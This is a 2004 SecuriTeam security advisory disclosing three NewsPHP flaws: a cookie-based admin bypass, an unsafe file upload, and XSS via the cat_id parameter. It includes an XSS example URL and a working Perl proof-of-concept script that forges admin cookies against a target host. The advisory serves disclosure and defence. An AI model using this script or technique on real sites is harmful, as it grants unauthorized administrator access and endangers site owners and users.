[UNIX] Multiple Vulnerabilities in NewsPHP (Admin Privileges, File Upload, XSS)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/14/04

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Date: 14 Apr 2004 09:20:35 +0200

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      Multiple Vulnerabilities in NewsPHP (Admin Privileges, File Upload, XSS)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.newsphp.com/> NewsPHP is a perfect solution for creating web
    publishing system, like an online magazine, newspaper, TV/Radio or news
    portals. It works also as a Content Management System that is easy to
    install and manage without having to FTP upload your pages every time you
    need to update it". Several vulnerabilities in newsPHP allow a remote
    attacker to gain administrator rights on newsPHP, run arbitrary code and
    perform XSS attacks.

    DETAILS

    Cookie Vulnerability:
    This flaw is caused due to improper administrator rights check (found in
    the cookie's data).

    File Upload vulnerability:
    Due to improper sanity checks a privileged user can upload executable code
    instead of a video in the Administration Panel.

    Cross-Site Scripting:
    A remote user can conduct a cross-site scripting attack due to an input
    validation flaw done to the cat_id variable.

    Example:
    http://vulnerablehost/index.php?cat_id=[XSS code]

    Vendor Status:
    Vendor was contacted on Apr 3 2004

    Proof of Concept:
    The following is a proof of concept code for the cookie vulnerability:

    #!/usr/bin/perl -w
    ## Example: POCnws.pl www.vulnerweb.com newsadmin POCnws.htm

    use IO::Socket;
    if (@ARGV < 3)
    {
    print "\n\n";
    print "PROOF OF CONCEPT (Admin Access via Cookie in NewsPHP)\n\n";
    print "Usage: POCnws.pl [host] [directory] [file.htm]\n\n";
    print "By: Manuel Lopez mantra at gulo.org\n";
    print "\n\n";
    exit(1);
    }

    $host = $ARGV[0];
    $directorio = $ARGV[1];
    $fichero = $ARGV[2];

    print "\n";
    print "----- Conecting .. <====\n\n";
    $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
    "$host",PeerPort => "80") || die "\$socket error $!";
    print "====> Conected\n";
    print "====> Sending Data .. \n";
    $socket->print(<<fin) or die "write: $!";
    GET http://$host/$directorio/ HTTP/1.0
    Cookie: autorized=admin; root=admin

    fin
    print "====> OK\n";
    print "====> Generating $fichero ...\n";
    open( Result, ">$fichero");
    print Result while <$socket>;
    close Result;
    ##--------------------------

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mantra@gulo.org> Manuel
    Lopez.

    ========================================

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